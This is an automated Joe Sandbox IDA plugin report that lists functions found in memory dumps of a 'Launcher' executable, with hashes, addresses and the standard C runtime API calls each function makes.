Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 238ba59c1128de70115314310dd6d12ff2427ba72b0743b083d18e146cd4030f
Instruction ID: 0c4e5805eef5cb2543bdd7230d8f5d62c204870018b37b70e9db7ac6dab8f4f9
Opcode Fuzzy Hash: 238ba59c1128de70115314310dd6d12ff2427ba72b0743b083d18e146cd4030f
Instruction Fuzzy Hash: 1C0184F1A0030257E720AE59D4C5BA7BBA8BF9170CF19883CE80557212DB75FD05C7A5

Function 0052DB90 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38362dadbcd08bedb215d75735c57db2d307307b5ae35df2465dc1ee765aa270
Instruction ID: 3f4df0be5966ac8662f0004186d48e3ba34a88075db041d0abf069909c123356
Opcode Fuzzy Hash: 38362dadbcd08bedb215d75735c57db2d307307b5ae35df2465dc1ee765aa270
Instruction Fuzzy Hash: E7F0C22A79826A1BD720DCBDFCD0567F6A6EBCA214B1E403CED40D3341D469E80686A4

Function 0056432E Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4d948c89267fb88abea49c2757ce82e8087ceaefcabeffd36129caff085b46b
Instruction ID: 060a5464c43addb05390a8b7d0321027dd7bd69e5c1aadf0b54082475aa46c6e
Opcode Fuzzy Hash: e4d948c89267fb88abea49c2757ce82e8087ceaefcabeffd36129caff085b46b
Instruction Fuzzy Hash: BA01FD767142008BC3288F28C8E13A9FAE1AF56320F0A223D9492C3390D678C8068B40

Function 0053C5CE Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21cecc21e4fe0e01bdb07599f18b0b2eb50f5b4d8b62fc2838947d19de34ab04
Instruction ID: ec59bb1cadcd4e55b0c361fc46f594d513abb145ca5baf22ca3ec5908cc9d631
Opcode Fuzzy Hash: 21cecc21e4fe0e01bdb07599f18b0b2eb50f5b4d8b62fc2838947d19de34ab04
Instruction Fuzzy Hash: A4011770615B408BD3A5CF28C9A5B57BBE5BF05308F84282CD48387EA2D775F4458B48

Function 0056521C Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cd01a9501ebeaf230672cd7d3649ac2e8b7ebc55d4341fe3c58fb8bea433052
Instruction ID: 58ec8d39bf4e14c8839d1ca2608cdf52e09652edeef9f45e5ed82fe154be0051
Opcode Fuzzy Hash: 9cd01a9501ebeaf230672cd7d3649ac2e8b7ebc55d4341fe3c58fb8bea433052
Instruction Fuzzy Hash: E801E436948762DFC700AF08C09060AFBB1FB96714F0A8E5CD9D827261C375AC548BC6

Function 00538160 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: ee860e4b2a6d6354155d7939dd036beb1ecb77e0523969d99a27e9f8e9f4c6f3
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 55D0A771A487B10E575D8D3804A0477FFE8F947652F18149EF4D1E3115D620DC028698

Function 0055FCD0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: 6f3535e6c95803f896631df2a5f4127a649eed7b133f7dee84884b22b359bb4e
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: E5D05E2164C22146AB648E19A410977FBE0FA87B12B49957FFE82E3148D230DC41C2A9

Function 0054DE26 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f80bd443c1d8417ec5c3bfff055f4dbfb75c408e1dc2dde2b5612efacf2f2888
Instruction ID: 3e595390b249a1ae57f35a8134938a9429da48cf7429a1d4e57a6c7ee33727eb
Opcode Fuzzy Hash: f80bd443c1d8417ec5c3bfff055f4dbfb75c408e1dc2dde2b5612efacf2f2888
Instruction Fuzzy Hash: E7C04CB8D081018B8600EF04E58187AF3F56FCBA01F146818E44967306D724E905D66B

Function 0054057E Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a9481bff9f550383c0ecc6ed8327bb6b01ab3bb89431da877b7a6c068f85e12
Instruction ID: 3f9882d1dc70c2b7ab4d5d4c630abec2c7fde45fda392cd1ab79c0aae406d469
Opcode Fuzzy Hash: 8a9481bff9f550383c0ecc6ed8327bb6b01ab3bb89431da877b7a6c068f85e12
Instruction Fuzzy Hash: 2AB011E8C08080828200AF00E8028FAB2B82A0B200F003C20E008A322AEB08F20082AE

Function 0054ED8E Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b3514a338a46556947bd9585853b203cf9ef6b73adb8455824ae09677cd854e
Instruction ID: e780af1751b70d2a65ba1fd9ce2c33d2a56bf3f9aa053adb45f8dc772bfffbfa
Opcode Fuzzy Hash: 1b3514a338a46556947bd9585853b203cf9ef6b73adb8455824ae09677cd854e
Instruction Fuzzy Hash: 46B092389056008FC210CF20C140671F3B5BB8B202F203808C44AA3B02C320F8008A08

Function 005646B7 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41b6776064e67518174c4f7833318fe60c866ec3cd096c826dcb4b895f8f6c4d
Instruction ID: a5ecc95842b764fa7604adb9043a793215adbeceaf13acb133651000a6787191
Opcode Fuzzy Hash: 41b6776064e67518174c4f7833318fe60c866ec3cd096c826dcb4b895f8f6c4d
Instruction Fuzzy Hash: 2D900224D489018B85008F049880470E278930B151F1039109008F3412C610D440460D

Function 0053CE07 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ac36b10a18ea19250c6c5f8ec46c07a0c594ba1abdc67cf45fd40d7b78df9c6
Instruction ID: 27e51ff71b50cd03a4ae26e0fac60d4b44945332b649569161d27cfafc3f00b4
Opcode Fuzzy Hash: 2ac36b10a18ea19250c6c5f8ec46c07a0c594ba1abdc67cf45fd40d7b78df9c6
Instruction Fuzzy Hash: 8E900224D481008B85009F08D5404B0E2B85A0B241F1834119008F7421C210D440451C

Function 0051DCC9 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 0051DD6F
__alloca_probe_16.LIBCMT ref: 0051DE2A
__alloca_probe_16.LIBCMT ref: 0051DEB9
__freea.LIBCMT ref: 0051DF04
__freea.LIBCMT ref: 0051DF0A
__freea.LIBCMT ref: 0051DF40
__freea.LIBCMT ref: 0051DF46
__freea.LIBCMT ref: 0051DF56

Strings

e<k, xrefs: 0051DCD1

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID: e<k
API String ID: 127012223-356446228
Opcode ID: cdb277516f310a45b50200bd1d13c71aeb1569cf406ad8438b73f42fbc194965
Instruction ID: d3ea24695c4b197c26e7927d6b301d469165fb5bd3b5e9052dbccca5c5467868
Opcode Fuzzy Hash: cdb277516f310a45b50200bd1d13c71aeb1569cf406ad8438b73f42fbc194965
Instruction Fuzzy Hash: ED71E372904206ABFF209E549C85FEE7FB9BF85350F240515E905A7281DB35DD81C770

Function 00508084 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 005080CD
__alloca_probe_16.LIBCMT ref: 005080F9
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00508138
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00508155
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00508194
__alloca_probe_16.LIBCMT ref: 005081B1
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005081F3
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00508216

Strings

e<k, xrefs: 0050808A

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID: e<k
API String ID: 2040435927-356446228
Opcode ID: 8fb0c4ee280a8d3eaff83d02fc11726d01c3ba9cad73a91ed766016fe3f4447d
Instruction ID: a5f2721a92739a1cd410f2f97f993ccebcb43f3719f85371fb5a6545d43ffed0
Opcode Fuzzy Hash: 8fb0c4ee280a8d3eaff83d02fc11726d01c3ba9cad73a91ed766016fe3f4447d
Instruction Fuzzy Hash: CA51A876A0060AABEB209F60DC49FBF7FA9FF50790F244429F945A61D0DB309C15DB60

Function 005083AE Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 005083B4
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 005083C2
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 005083D3
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 005083E4

Strings

GetCurrentPackageId, xrefs: 005083BC
kernel32.dll, xrefs: 005083AF
GetSystemTimePreciseAsFileTime, xrefs: 005083C8
GetTempPath2W, xrefs: 005083D9

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: fa5e82f5fbf6708abbf2d42e2595ed79c9ac1257ff263c194fe50befdc3d7e71
Instruction ID: aaba59af455324374bc8e1f0b46bf8292c549d80cc38e8fd78475d61e04008f7
Opcode Fuzzy Hash: fa5e82f5fbf6708abbf2d42e2595ed79c9ac1257ff263c194fe50befdc3d7e71
Instruction Fuzzy Hash: 47E0B671653A20AFAB206BB0BC0DD473EF8FF2B7913415052F409E31E1E6704549AFAA

Function 0050BD42 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0050BE61
___TypeMatch.LIBVCRUNTIME ref: 0050BF6F
_UnwindNestedFrames.LIBCMT ref: 0050C0C1
CallUnexpected.LIBVCRUNTIME ref: 0050C0DC

Strings

csm, xrefs: 0050BD7F
csm, xrefs: 0050BDEC
csm, xrefs: 0050BE98

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 73c23123df255dc4db8e4e4cfa5a5f0cfcb128001ab9458bce26571675a9c616
Instruction ID: 2277999357f421b849f6d0ab2acb13ba11012baa1caf4198a2a5abf31f41eccd
Opcode Fuzzy Hash: 73c23123df255dc4db8e4e4cfa5a5f0cfcb128001ab9458bce26571675a9c616
Instruction Fuzzy Hash: 27B1A87180020AEFDF28DFA4C9899AEBFB9FF55310F14465AE9056B282D331DA51CF91

Function 00516DCC Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 00517045

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 64bb738514d444fcdc52be9fe841ec2ac7a4b1554392534014b00c9b92c93a80
Instruction ID: 74258d8a541f803aea2b08a3cf3f75b794868cc13573504da4329574ab482574
Opcode Fuzzy Hash: 64bb738514d444fcdc52be9fe841ec2ac7a4b1554392534014b00c9b92c93a80
Instruction Fuzzy Hash: 22B19E70A0824EABEB15DFA8D849BAE7FB1BF9D300F144158E85597292C7709D81CF60

Function 0050B810 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0050B847
___except_validate_context_record.LIBVCRUNTIME ref: 0050B84F
_ValidateLocalCookies.LIBCMT ref: 0050B8D8
__IsNonwritableInCurrentImage.LIBCMT ref: 0050B903
_ValidateLocalCookies.LIBCMT ref: 0050B958

Strings

csm, xrefs: 0050B8ED
e<k, xrefs: 0050B8C2, 0050B93F

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$e<k
API String ID: 1170836740-4145065687
Opcode ID: 9e0234bcb8a23ad380028fe8c12bac6d7dad8cb1c8b2235c75985d9974975a70
Instruction ID: 5655ede49327f62a30be80d35052f935ddde8b9b885d068cd5e31595e1312cbc
Opcode Fuzzy Hash: 9e0234bcb8a23ad380028fe8c12bac6d7dad8cb1c8b2235c75985d9974975a70
Instruction Fuzzy Hash: 07419D34E00219ABDF10DF68C895A9EBFB9BF85314F14C555E8199B3A2D731EA05CB90

Function 005060CB Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 005060DF
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,005012A2,00000002,?,00000000), ref: 005060FE
AcquireSRWLockExclusive.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,005012A2,00000002), ref: 0050612C
TryAcquireSRWLockExclusive.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,005012A2,00000002), ref: 00506187
TryAcquireSRWLockExclusive.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,005012A2,00000002), ref: 0050619E

Strings

yRP, xrefs: 005060CB
e<k, xrefs: 005060D1

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID: e<k$yRP
API String ID: 66001078-4034237958
Opcode ID: 8d32aac93db2a5f9feeae80ed6aa21c74fd24e882327bb07a97ab6f89db6f399
Instruction ID: e93f46076687387632b3086cb8ca8b5eb5a6cdbba74fa0c240cdd664df2f9d82
Opcode Fuzzy Hash: 8d32aac93db2a5f9feeae80ed6aa21c74fd24e882327bb07a97ab6f89db6f399
Instruction Fuzzy Hash: 82415934900A06DFCB20CF65C994A6EBBF5FF05311B50492AE456D76C2D730F9A5CB50

Function 00501F5B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00501F67
int.LIBCPMT ref: 00501F7A

Part of subcall function 00502D8F: std::_Lockit::_Lockit.LIBCPMT ref: 00502DA0
Part of subcall function 00502D8F: std::_Lockit::~_Lockit.LIBCPMT ref: 00502DBA

std::_Facet_Register.LIBCPMT ref: 00501FAD
std::_Lockit::~_Lockit.LIBCPMT ref: 00501FC3

Strings

KP, xrefs: 00501F60
KP, xrefs: 00501F64, 00501FC0
KP, xrefs: 00501F7F, 00501F96

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID: KP$KP$KP
API String ID: 459529453-1692982695
Opcode ID: 149e0d4876125f36c339bb2dc136b0b13c9254e8acbb1882b7eb7fd999d67196
Instruction ID: 8681ab6ec46807948b6316712c1d773216beb3841e2de812084e36296ace078d
Opcode Fuzzy Hash: 149e0d4876125f36c339bb2dc136b0b13c9254e8acbb1882b7eb7fd999d67196
Instruction Fuzzy Hash: F4018F76900916ABCB15AB64D9498AE7FECFFC0760B200558F9059B2D1EB30AE419B94

Function 005105CC Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,E96B3C65,?,?,00000000,0051F7CA,000000FF,yRP,0051055C,?,yRP,00510530,00000016), ref: 00510601
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00510613
FreeLibrary.KERNEL32(00000000,?,00000000,0051F7CA,000000FF,yRP,0051055C,?,yRP,00510530,00000016), ref: 00510635

Strings

mscoree.dll, xrefs: 005105FA
yRP, xrefs: 005105CE
e<k, xrefs: 005105E1
CorExitProcess, xrefs: 0051060B

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$e<k$mscoree.dll$yRP
API String ID: 4061214504-3364570504
Opcode ID: fa9380fe03fef329d29836f0d2c46de659dcab6a9143b19a24b16ccfffbcb2a1
Instruction ID: 72d4c4463cf4dc85ad8a764aa53eaad78ccd98a7417f9917046d74309dd2a1d2
Opcode Fuzzy Hash: fa9380fe03fef329d29836f0d2c46de659dcab6a9143b19a24b16ccfffbcb2a1
Instruction Fuzzy Hash: 1201A235900629EBEB219B90DC09FEEBFB8FF45B14F000526E811A26E0DBB49845CB90

Function 00514FAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00515034
__alloca_probe_16.LIBCMT ref: 005150F5
